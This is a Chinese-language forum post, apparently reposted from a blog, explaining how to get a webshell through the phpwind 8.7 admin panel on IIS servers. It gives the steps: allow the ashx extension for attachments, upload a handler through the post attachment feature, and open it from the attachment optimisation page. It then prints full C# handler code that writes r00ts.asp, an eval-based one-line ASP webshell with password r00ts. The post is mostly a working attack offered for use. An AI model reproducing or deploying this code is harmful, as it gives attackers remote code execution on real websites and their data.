灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:3310回复:0

phpwind 8.7 后台拿shell

楼主#
更多 发布于:2013-07-24 13:12
来源:怪蜀黍`s Blog
 phpwind 8.7 后台拿shell
 
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
 
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
 
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
 
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
 
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
 
下面是代码:
 
<%@ webHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}

喜欢0 评分0
游客

返回顶部